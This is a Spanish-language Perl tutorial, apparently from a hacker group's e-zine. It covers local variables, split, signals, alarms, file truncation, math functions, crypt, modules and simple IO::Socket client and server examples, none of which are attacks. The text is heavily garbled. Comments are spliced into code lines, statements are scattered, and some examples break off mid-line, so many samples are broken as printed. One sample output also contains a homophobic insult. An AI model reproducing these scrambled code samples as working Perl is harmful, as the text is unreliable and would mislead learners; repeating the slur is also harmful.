- Bien hemos visto el modificador g e i. tambien podemos ver el modificador x te permitira usar espacios en blanco para que se entienda mejor la expresion y sea mas clara, tambien se puede usar el valor o para que solo se evalue una vez una expresion.

. ====================================================================== ====. |=======~ 14.0.0 MANIPULANDO UNA VARIABLE GLOBAL ~========================== | ====================================================================== ===== - Supongamos que tenemos declarada una variable global y bien queremos modificarla en un trozo del programa (como puede ser una subrutina), nada mas sin modificar esta variable, veamos como se hace: Ejemplo: #!/usr/bin/perl $variable = hola; #esta es la variable global

print "$variable\n"; #imprime hola sub despedida{ #comienza una subrutina local $variable = "adios"; #le damos a la variable global otro valor, sin #afectar a la var global print "$variable\n"; #imprimir } &despedida; #llamamos a la subrutina de arriba print "$variable\n"; #imprime hola, la variable global SALIDA: [root@localhost articulo]# perl local.pl hola adios hola * Si en la subrutina no pusiesemos: local --> local $variable ="adios"; entonces cambiaria el valor de la variable global y imprimiria: [root@localhost articulo]# perl sinlocal.pl hola adios adios

. ====================================================================== ====. |=======~ 15.0.0 SPLIT ~==================================================== | ====================================================================== ===== - Split tienen una funcion parecida a "foreach", ya que puede generar listas de datos a partir de cadenas de texto o escalares $, puede convertir estos en arrays o arreglos, veamos un ejemplo: Ejemplo: #!/usr/bin/perl $team="w3ndig0:S-P-A-R-K:leon01:Vanmore"; @member=split(":",$team); #seria lo mismo que poner @member=split(/:/,$team); print "miembro:$member[0]\nmiembro:$member[1]\nmiembro: $member[2]\nmiembro:$member[3]\n"; SALIDA: [root@localhost articulo]# perl split.pl

miembro:w3ndig0 miembro:S-P-A-R-K miembro:leon01 miembro:Vanmore

- Ahora vamos a conseguir a que por cada caracter interponga un simbolo: Ejemplo: #!/usr/bin/perl print join('-',split(/ */, 'SPARK')),"\n"; SALIDA: [root@localhost articulo]# perl split2.pl S-P-A-R-K - Imaginemos que un dia queremos sustituir los puntos de una ip por espacios en blanco, y podremos acceder a cada uno de los valores del array, ya lo veremos mas adelante en las herramientas que vamos a hacer: Ejemplo: #!/usr/bin/perl print "Inserte una ip: "; $ip=<STDIN>; @ipsinpuntos = split(/\./,$ip); #sustituye los . por print "@ipsinpuntos\n"; SALIDA: [root@localhost articulo]# perl ipsin.pl Inserte una ip: 62.36.152.32 62 36 152 32

espacios

. ====================================================================== ====. |=======~ 16.0.0 JUGANDO CON BINARIOS ~===================================== | ====================================================================== =====

- Vamos a pasar de un numero "hexadecimal a binario" en una linea usando unpack facilmente:

Ejemplo, pasar de hexadecimal a binario en orden descendente: #!/usr/bin/perl $binario = join('', unpack('B*', "\x98")); 98 a print "$binario\n"; SALIDA: [root@localhost arti]# perl convbin.pl 10011000 #pasamos el hexadecimal #binario #en orden descendente

Ejemplo, pasar de hexadecimal a binario en orden ascendente: #!/usr/bin/perl $binario = join('', unpack('b*', "\x98")); 98 a ascendente print "$binario\n"; SALIDA: [root@localhost articulo]# perl convbin2.pl 00011001 #pasamos el hexadecimal #binario en orden

. ====================================================================== ====. |=======~ 17.0.0 DIE WARN - LA MATANZA Y LA ALERTA ~======================== | ====================================================================== ===== - En ocasiones el programa puede no funcionar como esperabamos o simplemente bajo algunas circusntancias se tiene que cerrar un proceso, para ello usaremos die, vemos como:

* Voy a poner el trozo de un programa: open (documento, "$doc") or die "No se ha podido encontrar el documento $doc\n"; #die mata este proceso si no encuentra el documento open (diccionario, ">$dicc"); foreach $lineas () {

* Veamos con warn, es igual de facil, alertaria y seguiria con el programa: Ejemplo: #!/usr/bin/perl open (ARCHIVO,"+

pero en sete caso

solo

- A menos de que si se introduzcan argumentos "unless ($ARGV[1]); seguira a la siguiente rutina del programa he imprimira la suma de los argumentos que pongas: [root@localhost arti]# perl argumentos.pl 999 999 999 + 999 es igual a: 1998 - Mas formas de llamar la atencion de que no se ha puesto sintaxis de un programa: Ejemplo: #!/usr/bin/perl $saludos=$ARGV[0]; $adios=$ARGV[1]; if($saludos eq "" || $adios eq "") { &sintasix; } en tb sub sintasix { print "programa print "$saludos\n"; print "$adios\n"; SALIDA: * Poniendolo sin argumentos [root@localhost articulo]# perl masarg.pl programa "; } bien la

#si saludos esta #blanco y $adios

* Con argumentos [root@localhost articulo]# perl masarg.pl hola adios hola adios

- Ahora queremos tener cierto control con los argumentos veamos como podemos controlarlos: Ejemplo: #!/usr/bin/perl if ($ARGV[0] eq "-v") { #si el primer argumento es igual a -v print "con argumento\n"; } else { } print "sin argumento\n";

SALIDA: [root@localhost scancgis]# perl arg.pl sin argumento [root@localhost scancgis]# perl arg.pl -v con argumento

. ====================================================================== ====. |=======~ 19.0.0 VARIABLES LOCALES Y GLOBALES "local y my" ~================ | ====================================================================== ===== - Por defecto todas las variables estan definidas de forma global, es decir se puede acceder a ellas desde cualquier punto de un programa, pero es posible que queramos que solo afecte a un trozo de codigo, para ello usaremos la clave "local" que localiza una variable dentro de un trozo de codigo y "my" que se suele usar mas y es mas recomendable, sirve para decla-

rar variables en un trozo de codigo como puede ser una subrutina ej: Ejemplo: #!/usr/bin/perl sub miembros { my $nombre = "DDiego"; #declaro una variable local print "nombre: $nombre\n"; } my $colegas = "Genl0g"; #declaro una variable local print "amigos: $colegas\n"; #imprime Genl0g &miembros #llamo a la subrutina miembros

SALIDA: [root@localhost arti]# perl my.pl amigos: Genl0g nombre: DDiego

. ====================================================================== ====. |=======~ 20.0.0 GOTO ~===================================================== | ====================================================================== ===== - En perl como en visual,tambien existe la clave goto nombreetiqueta; y luego ira a la clave nombreetiqueta: seguido del comando que quieras en el ej siguiente es un print:

Ejemplo: #!/usr/bin/perl $numero=1; print("Introduce un numero: "); $introduce = <STDIN>; if ($introduce==$numero) { print "Has acertado el numero \n"; } else { goto fallaste; } fallaste: print "Has perdido el numero era el $numero\n";

SALIDA: [root@localhost arti]# perl intro.pl Introduce un numero: 2 Has perdido el numero era el 1

. ====================================================================== ====. |=======~ 21.0.0 MENU ~===================================================== | ====================================================================== ===== - Para crear un menu en perl usaremos switch que tambien existe en c,veremos como se hace: Ejemplo: #!/usr/bin/perl print " -------------------------------------\n"; print " --------------- MENU ---------------\n"; print " -------------------------------------\n"; print " OPCION 1 -\n"; print " OPCION 2 -\n"; print " OPCION 3 -\n"; print " -------------------------------------\n"; print "Elija una opcion: "; $opcion=<STDIN>; SWITCH: { if ($opcion==1) { print "Has elejido la opcion 1\n"; } if ($opcion==2) { print "Has elejido la opcion 2\n"; } if ($opcion==3) { print "Has elejido la opcion 3\n"; } }

SALIDA: [root@localhost articulo]# perl menu.pl --------------------------------------------------- MENU --------------------------------------------------OPCION 1 -

OPCION 2 OPCION 3 ------------------------------------Elija una opcion: 1 Has elejido la opcion 1 [root@localhost articulo]# perl menu.pl --------------------------------------------------- MENU --------------------------------------------------OPCION 1 OPCION 2 OPCION 3 ------------------------------------Elija una opcion: 1 Has elejido la opcion 1 [root@localhost articulo]# perl menu.pl --------------------------------------------------- MENU --------------------------------------------------OPCION 1 OPCION 2 OPCION 3 ------------------------------------Elija una opcion: 2 Has elejido la opcion 2 [root@localhost articulo]# perl menu.pl --------------------------------------------------- MENU --------------------------------------------------OPCION 1 OPCION 2 OPCION 3 ------------------------------------Elija una opcion: 3 Has elejido la opcion 3

* Salen todos perfectamente

. ====================================================================== ====. |=======~ 22.0.0 BEGIN END ~================================================ | ====================================================================== ===== - Podemos hacer que se ejecute algo al principio de todo teniendo prioridad

ante los demas, y todo gracias a BEGIN y con END podemos tener el mismo resultado pero en este caso se ejecutara al final veamos un ejemplo: Ejemplo: #!/usr/bin/perl print "hola\n"; BEGIN {print "yo soy el primero\n"} END {print "y yo el ultimo\n"} print "adios\n"; SALIDA: [root@localhost articulo]# perl begin_end.pl yo soy el primero hola adios y yo el ultimo

. ====================================================================== ====. |=======~ 23.0.0 COMUNICACION ENTRE PROCESOS ~============================== | ====================================================================== ===== - Este tema es un poco mas chungo que todo lo que hemos visto hasta ahora, pero bueno a darle caa. Bueno un proceso es un programa que se ejecuta en una maquina, estos pueden ser muchos como supondremos, fijo que estan corriendo mas programas de los que creemos,y muchos de ellos manejan el sistema y son usados para ejecutar otros programas, en este apartado aprenderemos a controlar mas nuestros scripts, sacar informacion sobre procesos, crearlos etc, osea un capitulo brasa a muerte. * Para ver el identificador del proceso del programa que estamos usando usaremos $$ getppid para ver el proceso ascendiente, de esta manera: Ejemplo: #!/usr/bin/perl

print "Indentificacion del proceso SALIDA:

$$ es ", getppid, "\n";

[root@localhost articulo]# perl pid.pl Indentificacion del proceso 1558 es 1533 #1558 es el proceso actual $$ #1533 es el proceso ascendiente getppid - Para optener usamos getpgrp: Ejemplo: #!/usr/bin/perl print "Grupo de procesos ($$): ",getpgrp(0), ", pariente (",getppid,"): ",getpgrp(getppid),"\n"; SALIDA: Grupo de procesos (1893): 1893, pariente (1227):1227 #en getpgrp(0) nos devuelve el grupo del proceso que estamos ejcutando - Te estaras preguntado como manipular estos procesos, entre otras cosas mediante seales, y cuales son estas seales??, estas seales tambien nos la envia el programa a nosotros o a otros programas,puenden ser de muchos tipos, de error de un programa, que continua un proceso, que se finaliza etc Ejemplo: #/usr/bin/perl print "------------------\n"; print "- SEALES EN PERL-\n"; print "------------------\n"; print "\n"; foreach $signal (sort keys %SIG) #ordenemoslas { print " $signal \n"; } el grupo al que pertenece el proceso de un programa,

SALIDA: ------------------

- SEALES EN PERL-----------------ABRT #El programa termina de forma anormal y graba una imagen en memoria -> clasicos "core dump" ALRM #El temporizador de la funcion alarm caduco (el proceso termina) BUS #El proceso intento usar memoria lmal alineada o sin alinear graba una imagen en memoria -> clasicos "core dump" CHLD #Un proceso hijo ha sido detenido o finalizado CLD #El proceso hijo se ha detenido, el programa lo termina o ignora CONT #Esta seal hace que se continue un proceso que esta detenido FPE #Excepciones de punto flotante, graba una imagen en la memoria genera imagen clasica HUP #Muerte de un proceso de control, el proceso termina ILL #Intruccion o comando ilegal, da error de programa, proceso termina y graba la imagen core dump INT #Seal de interrupcion de un proceso ya sea por el usuario o por un programa IO #Se recibio una E/S ansincrona-> se ingnora IOT #Error E/S, el programa termina de forma anormal y graba una imagen en memoria KILL #Seal de muerte o finalizacion de un programa NUM33 NUM34 NUM35 NUM36 NUM37 NUM38 NUM39 NUM40 NUM41 NUM42 NUM43 NUM44 NUM45 NUM46 NUM47 NUM48 NUM49 NUM50 NUM51 NUM52 NUM53 NUM54 NUM55 NUM56 NUM57 NUM58 NUM59 NUM60 NUM61 NUM62 PIPE #Seal de fallo de canalizacion, execepcion de software se ha intentando de escribir a un pipe y este no dipone de lectores POLL #Ocurrio un suceso encuestable, el proceso termina PROF #La larma de controno asignada sobre un segmento de codigo expiro, el proceso finaliza PWR #El programa detecto un problema de suministro electrico QUIT #Seal de finalizacion de un programa

RTMAX RTMIN SEGV #Seal de fallo de segmentacion, se ha intentado acceder a una direccion en la memoria que no es valida STKFLT #Seal de fallo en la pila, la pila se fue a carajo, el proceso termina STOP #Detiene un proceso SYS #Un argumento es incorrecto y ha sido pasado a rutina, graba imagen core dump TERM #El proceso finaliza TRAP #Se detuvoo el proceso, el proceso en este caso finaliza y graba una imagen "core dump" en memoria TSTP #Detiene un proceso por que se a recibido una seal por el teclado TTIN #Un proceso ejecutado en 2 plano intenta leer el terminal de control TTOU #Un proceso ejecutado en 2 plano intenta escribir en el terminal de control UNUSED #Seal no utilizada, el proceso termina URG #Seal de condicion de urgfencia de un socket USR1 #Esta seal puede ser definida por una aplicacion o por el usuario, el proceso finaliza USR2 #Esta seal puede ser definida por una aplicacion o por el usuario, el proceso finaliza VTALRM #Sealiza que la alarma de intervalos expiro, el proceso finaliza WINCH #Sealiza que el tamao de la ventana de un terminal ha cambiado XCPU #Seala que el proceso ha excedido la cantida de tiempo de uso de la CPU que podia utlizar, el proceso termia y graba imagen core dump en memoria XFSZ #Seala que el proceso intento acceder o modificar un archivo mas grande que el limite de tamao de archivo del sistema, genera imagen core dump en memoria * Como se juegan con estas seales podemos ver un ejemplo en el apartado siguiente de alarmas, usa esta sintaxis: $SIG{NOMBRE DE SEAL} = sub { print "Pepe\n"; }

* Cada vez que esa seal surga imprimira esa subrutina pepe, adelantemos un poco de el siguiente apartado $SIG{ALRM} = sub alarma tiempo - Como ignorar una seal, sigue esta sintaxis $SIG{NOMBRE DE SEAL} = 'IGNORE'; - Como restablecer una seal a su valor o salida original DE SEAL} = 'DEFAULT'; $SIG{NOMBRE { die "Fuera de tiempo"}; #Si el temporizador de la #caduca imprimira fuera de

- Matando procesos con kill, la sintaxis es la siguiente: kill('NOMBRE DE SEAL', IDENTIFICADOR DEL PROCESO );# o lo que es lo mismo # en vez una coma usamos # => kill NOMBRE DE SEAL => IDENTIFICADOR DEL PROCESO ; * Para grupos de procesos se pone un - delante kill NOMBRE DE SEAL => -GRUPO DE PROCESO ; Ejemplo: kill ALRM=>$$;

* Tambien es posible: - Seal de advertenvia _WARN_ , vamos mensaje de advertencia: Ejemplo: #!/usr/bin/perl sub mensaje_advertencia { #MensaJe advertencia print "WARNING YOU ARE FUCKED:\n$_[0]"; #clasico de a usarla par imprimir un

} $SIG{__WARN__}=\&mensaje_advertencia; print "Despues de esta linea imprimira el mensaje de advertencia\n"; warn "Cuidado no se que pasa vigila tu culo holer0\n"; print "Va que mas te da eres un lamer gay xDDD\n";

SALIDA: [root@localhost fork]# perl warn.pl Despues de esta linea imprimira el mensaje de advertencia WARNING YOU ARE FUCKED: Cuidado no se que pasa vigila tu culo holer0 Va que mas te da eres un lamer gay xDDD - Ahora veremos la seal die, evitaremos que ejecute una subrutina: Ejemplo: #!/usr/bin/perl

sub subrutina_matada { } print "Este texto no saldra\n";

$SIG{__DIE__} = \&subrutina_matada; print "Este texto si saldra \n"; SALIDA: [root@localhost fork]# perl die.pl Este texto si saldra

- Cerrar el programa Podemos usar exit de esta forma, en este bucle infinito: Ejemplo: #!/usr/bin/perl for(;;) { print "hola\n"; exit; }

SALIDA: [root@localhost articulo]# perl exit.pl hola

. ====================================================================== ====. |=======~ 24.0.0 ALARMAS Y TEMPORIZADORES ~================================= | ====================================================================== ===== - Empezaremos viendo la funcion "sleep", que para un proceso durante los segundos que indiques, por ejemplo: Ejemplo: #!/usr/bin/perl

print "hola\n"; #Imprime hola sleep 5; #Esperara 5 segundos print "adios\n"; #luego imprimira adios

SALIDA: [root@localhost articulo]# perl sleep.pl hola adios * Despues de imprimir hola espera 5 segundos para imprimir adios

- Veamos otro tipo de alarma: Ejemplo: #!/usr/bin/perl print "Login: "; eval #si el bloque eval falla finaliza el valor $@ { $SIG{ALRM} = sub { die "Fuera de tiempo"};#Si el temporizador de la #alarma caduca imprimira #fuera de tiempo alarm 5; #alarma en 5 segundos e imprime el mensaje de Fuera de tiempo $login =<STDIN>; #si escribe el login en menos de 5 seg alarm 0; #la alarma se para }; if ($@ =~ /Fuera de tiempo/){ #Si dentro del valor esta Fuera de tiempo print "No te ha dado tiempo\n"; #imprime eso } else { print "Hola $login\n"; }

SALIDA: - Respondiendo: [root@localhost articulo]# perl alarma.pl Login: DDiego Hola DDiego - Sin responder: [root@localhost articulo]# perl alarma2.pl Login: No te ha dado tiempo - Y si ignorasemos el proceso, con IGNORE: Ejemplo:

#!/usr/bin/perl print "Login: "; eval #si el bloque eval falla finaliza el valor $@ { $SIG{ALRM} = 'IGNORE';#Ignora la alarma alarm 5; #Estos 5 segundos no valen nada $login =<STDIN>; #Tienes todo el tiempo que quieras para escribir tu #login alarm 0; }; if ($@ =~ /Fuera de tiempo/){ print "No te ha dado tiempo\n"; } else { print "Hola $login\n"; }

. ====================================================================== ====. |=======~ 25.0.0 TRUNCANDO ARCHIVOS ~======================================= | ====================================================================== ===== - Cuando se habla de truncar archivos, se habla de acortarlo pero tambien es posible aumentar su tamao llenando de ceros el final del archivo, (buen sitio para meter informacion adicional no??), veamos el code, facil y sencillo: Ejemplo: #!/usr/bin/perl open (ARCHIVO,"+ trucarchi.pl #!/usr/bin/perl ########################## # TRUNCA ARCHIVOS # # by DDiego # # # # D I S I D E N T S # ########################## die "sintaxis: truncar.pl \n" unless ($ARGV[1]); #si no enchufas los dos arg imprime eso $archivo=$ARGV[0]; $tamano=$ARGV[1]; open (ARCHIVO,"+<$archivo") or die "No puedo abrir el archivo man"; #abre el archivo en modo escritura #y lectura

truncate ARCHIVO,$tamano; #trunca el archivo a los bytes que quieras <-->

. ====================================================================== ====. |=======~ 26.0.0 RESET ~==================================================== | ====================================================================== ===== - Gracias a reset,podemos borrar todas las variables que empiecen por la letra que queramos o el numero que queramos, de esta forma: reset 'd'; #borra todas las variables que empiezan por d reset 'a-z'; #borra todas las variables que empiecen por letra #minuscula de la "a" a la "z" cualquier

. ====================================================================== ====. |=======~ 27.0.0 JUGANDO CON LOS NUMEROS ~================================== | ====================================================================== ===== - No me voy a meter mucho en este tema pero bueno, si quereis que me meta en el siguiente capitulo no hay problema, me lo decis y sin problema me meto un poco con funciones trigonometricas etc, en lo que si me voy a meter es en la conversion de bases hexadecimal (base 16), octal (base 8) a decimal (10 clasica), de decimal a ASCII, numeros aleatorios, tambien veremos alguna cosa mas. * Veamos que facil es pasar de hexadecimal a decimal, para ello usaremos la

funcion hex: Ejemplo: #!/usr/bin/perl print hex ("ffff"), "\n"; SALIDA: [root@localhost articulo]# perl hex.pl 65535 - De octal a decimal, usaremos de la misma forma oct: Ejemplo: #!/usr/bin/perl print oct ("0755"), "\n"; SALIDA: [root@localhost articulo]# perl oct.pl 493 - Jeje, bueno ya como estamos con conversiones vamos a ver como convertir de decimal a ASCII, y quien no sabe que el 126 es ~, para la conversion usaremos chr, veamos un ej: Ejemplo: #!/usr/bin/perl print chr("126"), "\n"; SALIDA: [root@localhost articulo]# perl chr.pl ~ * Ahora queremos para ello usaremos rand: que el programa genere un numero aleatorio, y

- En principio "rand" genera un numero aleatorio con coma flotante entre 0 y el numero que especifiques, salvo que le especifiques que solo genere enteros, veamos como es el tema: Ejemplo:

#!/usr/bin/perl print rand(59), "\n"; #genera un numero aleatorio entre 0 y 59 SALIDA: [root@localhost articulo]# perl rand1.pl 31.9958490423553 [root@localhost articulo]# perl rand1.pl 58.6096578949757

* Ahora en el mismo programa solo quiero que genere numeros enteros, y para ello usaremos int: Ejemplo: #!/usr/bin/perl print int(rand(59)), "\n"; SALIDA: [root@localhost articulo]# perl rand3.pl 44 [root@localhost articulo]# perl rand3.pl 35

- Permisos de ficheros - En ocasiones nos gustaria cambiar los permisos de los ficheros, para cambiarlos usaremos la funcion chmod (), pero de una forma muy especial seria algo asi: Ejemplo: #!/usr/bin/perl chmod(0755, nombredearchivo); de los #vemos que se pone un 0 delante

#valores en octal

- Tambien es posible hacerlo a un grupo de ficheros metidos en un array Ejemplo: $cambiandopermisos= chmod (755, @ficheros); - Calcular la raiz cuadrada con sqrt:

La sintaxis es: Ejemplo:

srand expresion

#!/usr/bin/perl $numero = 4; $raizcuadrada= sqrt $numero; print "$raizcuadrada\n"; SALIDA: [root@localhost articulo]# perl srand.pl 2 - Tambien podemos ver mas conversiones por ej a ASCII * Para ello usaremos org, asi: Ejemplo: #!/usr/bin/perl $ord =ord("~"); print "$ord\n"; SALIDA: [root@localhost articulo]# perl ord.pl 126 * Y la forma contraria con chr Ejemplo: #!/usr/bin/perl $ord =chr("126"); print "$ord\n"; SALIDA: [root@localhost articulo]# perl chr.pl ~ - Para hayar e elevado a cualquier potencia usaremos exp: Ejemplo: #!/usr/bin/perl $salida= exp 2; print "$salida\n"; SALIDA:

[root@localhost articulo]# perl exp.pl 7.38905609893065 - Veamos como se eleva un numero a otra potencia, para ello usaremos **: Ejemplo: #!/usr/bin/perl $numero=4; $potencia=2; $salida= ($numero ** $potencia); print "$salida\n"; SALIDA: 16

- Division Ejemplo: #!/usr/bin/perl $numero1=4; $numero2=2; $salida= ($numero1 / $numero2); print "$salida\n"; SALIDA: 2

- Multiplicacion Ejemplo: #!/usr/bin/perl $numero1=4; $numero2=2; $salida= ($numero1 * $numero2); print "$salida\n"; SALIDA: 8 - Suma Ejemplo:

#!/usr/bin/perl $numero1=4; $numero2=2; $salida= ($numero1 + $numero2); print "$salida\n"; SALIDA: 6 - Resta Ejemplo: #!/usr/bin/perl $numero1=4; $numero2=2; $salida= ($numero1 - $numero2); print "$salida\n";

SALIDA: 2 - Como sacar el resto * Para ello usaremos el operador %

Ejemplo: #!/usr/bin/perl $numero1=4; $numero2=2; $salida= ($numero1 % $numero2); print "$salida\n"; SALIDA: 0

- VALORES ABSOLUTOS * Con el operador abs nos devuelve un numero en valor absoluto, veamos como funciona: Ejemplo: #!/usr/bin/perl $salida = abs (-4); print "$salida\n";

SALIDA: 4

. ====================================================================== ====. |=======~ 28.0.0 COLORES ~================================================== | ====================================================================== ===== - Puede darse el caso, que queramos cambiar el color de lo que imprimamos en pantalla en un programa, veremos que facil se imprimen con el color que queramos un texto, ej: Ejemplo: #!/usr/bin/perl use Term::ANSIColor; #Usamos el modulo Term::ANSIColor print color("white"), "blanco\n", color("reset"); print color("blue"), "azul\n", color("reset"); print color("red"), "rojo\n", color("reset"); print color("yellow"), "amarillo\n", color("reset"); print color("green"), "verde\n", color("reset");

. ====================================================================== ====. |=======~ 29.0.0 REFERENCIAS ~============================================== | ====================================================================== ===== - El concepto de referencia lo podriamos denominar como un puntero, referenciar sirve para hacer referencia a otra variable y usar su valor: - CREANDO UNA REFERENCIA A UNA VARIABLE:

Ejemplo: #!/usr/bin/perl $nombre = 'DDiego'; $nombreref= \$nombre; #la variable $nombreref contiene la referencia de #$nombre * Tambien un array puede hacer referencia a varias variables o a otros arrays: Ejemplo: #!/usr/bin/perl $nombre= 'Diego'; $nick= 'DDiego'; $team='Disidents'; $web='http://www.disidents.int-ltd.com'; @arrayref=(\$nombre,\$nick,\$team,\$web);

- CREANDO UNA REFERENCIA A UNA SUBRUTINA Ejemplo: #!/usr/bin/perl sub saludo { print "hola\n"; } $refsub = \&saludo;

. ====================================================================== ====. |=======~ 30.0.0 CRYPT ~==================================================== | ====================================================================== ===== - Crypt es un sistema estandar que utiliza unix para cifrar claves, crypt utiliza dos argumentos el primero puede ser una cadena a cifrar y un valor

que puede elegirse de forma arbitraria sirve para la eleccion de las 256 posibles combinaciones que puede tomar crypt, ej: Ejemplo: #!/usr/bin/perl $cadena= "DDiego"; $salida = crypt $cadena,2; print "$salida\n"; SALIDA: 22eFJ/65nEWH.

. ====================================================================== ====. |=======~ 31.0.0 GETC ~===================================================== | ====================================================================== ===== - La funcion getc, recoge el primer caracter que introduzcas por teclado, es facil de usar: Ejemplo: #!/usr/bin/perl print "Escribe algo: "; $salida= getc(STDIN); print "$salida\n"; SALIDA: [root@localhost articulo]# perl Escribe algo: hola h getc.pl

. ====================================================================== ====. |=======~ 32.0.0 GMTIME ~=================================================== | ====================================================================== ===== - Ahora veremos la funcion gmtime, para saber la fecha, hora, segundos segun la hora estandar de Greenwitch veamos como funciona Ejemplo: #!/usr/bin/perl ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$dst)=gmtime(time); print "$sec\n"; #segundos print "$min\n"; #minutos print "$hour\n"; #hora print "$dst\n"; #hora de ahorro de luz diurna (Daylight Saving Time) print "$year\n"; #ao print "$mon\n"; #desde 0 a 11, mes como estamos en enero saldra 0 print "$wday\n"; #dia de la semana print "$yday\n"; #fecha de ayer print "$mday\n"; #fecha de hoy

SALIDA: [root@localhost articulo]# perl gmtime.pl 21 41 22 0 102 0 1 27 28

. ====================================================================== ====. |=======~ 33.0.0 LOCALTIME ~================================================ | ====================================================================== =====

- localtime tambien contiene estos elementos, lo podriamos asi: Ejemplo: #!/usr/bin/perl ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday, $isdst)=localtime(time); print "$sec\n"; print "$min\n"; print "$hour\n"; print "$isdst\n"; print "$year\n"; print "$mon\n"; print "$wday\n"; #dia de la semana print "$yday\n"; #fecha de ayer print "$mday\n"; #fecha de hoy

SALIDA: [root@localhost articulo]# perl localtime.pl 18 2 18 0 102 0 1 27 28

. ====================================================================== ====. |=======~ 34.0.0 MODULOS EN PERL ~========================================== | ====================================================================== ===== - En perl gracias a una cosa llamadas modulos, paquetes o librerias que nos van a hacer la vida mas facil a la hora de crear programas. Para usar un modulo podemos usar use o require.

- COMO SE USAN - require: require nombredemodulo;

* O si quieres especificar la ubicacion: require 'archivo.pm';

- use: use nombredemodulo;

- Use y require se diferencia en que las instruciones use son ejecutadas e interpretadas en ese momento, y con require son importadas tiempo de ejecucion.

en

- EVITAR USO DE UN MODULO * Para ello usaremos la intruccion "no" ,que es lo contrario a use

- USAR OTROS PROGRAMAS DE PERL - Gracias a require, podemos usar otros programas de perl y compartir variables y todo lo que te puedas imaginar, para comprobarlo vamos a crear dos programas, muy simples: Ejemplo: # script.pl sera donde meteremos un programa muy llamaremos a # libreria.pl donde estan las variables #!/usr/bin/perl ############# # script.pl # ############# require 'libreria.pl'; #Aqui meteremos las variables que usamos print "Nombre es: $nombre \n"; print "Apellido es: $apellido\n"; simple y

############### # libreria.pl # ###############

#!/usr/bin/perl $nombre = "Juan"; $apellido = "Perez";

SALIDA: [root@localhost prueba]# ./require.pl Nombre es: Juan Apellido es: Perez * Bien ahora podemos usar cosas de otros programas.

. ====================================================================== ====. |=======~ 35.0.0 MODULO IO::Socket ~======================================== | ====================================================================== ===== - Venga llega la hora de conectarnos a inet, ya aburridos de tanta cadena y mierda, la perl trae un paquete o modulo llamado "IO::Socket" que nos va a ayudar mucho a hacer herramientas de manera muy facil, solo tenemos que declarar que vamos a usarlo al principio del script con use IO::Socket;

. ====================================================================== ====. |=======~ 35.1.0 CLIENTE ~================================================== | ====================================================================== ===== - Veamos un ejemplo, facil de comprender: Ejemplo: #!/usr/bin/perl

use IO::Socket; $sock = new IO::Socket::INET (PeerAddr => 'www.terra.es', #donde vamos a #conectar donde conectar Proto que usar * Ahora ya podemos enviar informacion a www.terra.es como clientes => 'tcp'); PeerPort => 80, #puerto #vamos a #protocolo #vamos a

. ====================================================================== ====. |=======~ 35.2.0 SERVIDOR ~================================================= | ====================================================================== ===== - Ahora vamos a prepararnos para recinir conexiones: Ejemplo: #!/usr/bin/perl use IO::Socket; $sock = new IO::Socket::INET (LocalHost LocalPort Proto Listen para peticiones una Reuse ); => 1 #Verifica si hay #conexion activa

=> 'mihost'; => 1100, => 'tcp', => 6, #Tamao de la cola #escuchar las

$SOCKET= $sock -> accept(); #Ahora aceptamos las conexiones #ahora se #conecta usaremos getpeername $descriptordelsocket y veremos quien

print "$conexion \n"; - Si pusiesemos asi esto obtendriamos al hacer un telnet al 1100 esto: SALIDA: [root@localhost arti]# perl server.pl IO::Socket::INET=GLOB(0x811579c) - Y si queremos recibir la "direccion ip" de la maquina remota usaremos esto combinado con "inet_ntoa" y la extructura "sockaddr_in" empaquetada que la podremos extraer gracias a unpack asi: print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1])," \n"; * Saldria algo asi ahora: SALIDA: [root@localhost arti]# perl server.pl Conexion desde: 127.0.0.1

- Cerrar el socket: Sintaxis: shutdown $descriptorsocket, HOW - HOW puede tener varios valores: 0 1 2 no se puede recibir datos no se puede enviar enviar no se puede ni enviar ni recibir

datos

Ejemplo:

shutdown(SOCKET, 0); # no se puede recibir datos

- Ahora vamos a Seria algo asi: Ejemplo:

mandar un mensaje al que se conecte, con print -

#!/usr/bin/perl use IO::Socket; $sock = new IO::Socket::INET (LocalHost LocalPort Proto Listen

=> 'localhost', => 1100, => 'tcp', => 6,

Reuse => 1 ); die "No se ha podido crear el socket: $!\n" unless $sock; $conexion= $sock -> accept(); #Ahora aceptamos las conexiones print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1])," \n"; print $conexion "Hola DDiego\n"; #El mensaje que le enviaremos usando print $conexion->send("Hola\n"); #Otro mensaje que enviaremos usando send close ($conexion);

SALIDA: - Desde el server -

[root@localhost arti]# perl server.pl Conexion desde: 127.0.0.1 - Desde el cliente [root@localhost /]# telnet localhost 1100 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Hola DDiego Hola Connection closed by foreign host.

- Es posible imprimir un texto en pantalla facilmente Seria algo asi: open (ARCHIVO ,"archivo.txt"); print $conexion ();#de la misma forma que enviamos mensajes #podemos enviar archivos en este caso un txt

* Cuando se diversas opciones:

crea

el

objeto

IO::Socket::INET

se pueden

poner

PeerAddr ip_o_host:puerto #el puerto es opcional poner #despues

porque se

puede

Peerport tipo_de_servicio(puerto) #puedes e specificar el puerto #directamente o poner #algo asi http(80) o ftp(21) o #directamente 21 LocalAddr nombre_del_host:puerto #nombre puerto del host local y

#local es opcional Localport 'puertolocal' servicio #Se puede poner tambien el nombre del #pero es opcional #Es opcional si pones el #tcp o udp ya los identifica

Type SOCK_STREAM | SOCK_DGRAM | etc protocolo Proto 'tcp' | 'udp'| etc

#protocolo que vamos a utilizar

- Como recibir un mensaje del socket, con recv: Ejemplo: #!/usr/bin/perl use IO::Socket; $sock = new IO::Socket::INET (LocalHost => 'localhost', LocalPort => 1100, Proto => 'tcp', Listen => 6, Reuse => 1 ); die "No se ha podido crear el socket: $!\n" unless $sock; $conexion= $sock -> accept(); #Ahora aceptamos las conexiones print "Conexion desde: ",inet_ntoa((unpack_sockaddr_in(getpeername $conexion))[1])," \n"; $conexion->send("Como te llamas??\n"); #Otro mensaje que enviaremos #usando send $conexion->recv($line, 80); #metemos el mensaje en $line y con un buffer #de 80 caracteres 80 bytes print "$line\n"; close ($conexion); - Siempre hay mas formas: Ejemplo: #!/usr/bin/perl $respuesta=$conexion; print "$respuesta"; #con esto recibes lo que manda el cliente o while (<$conexion>) { print; } cliente #con esto recibes lo que manda el

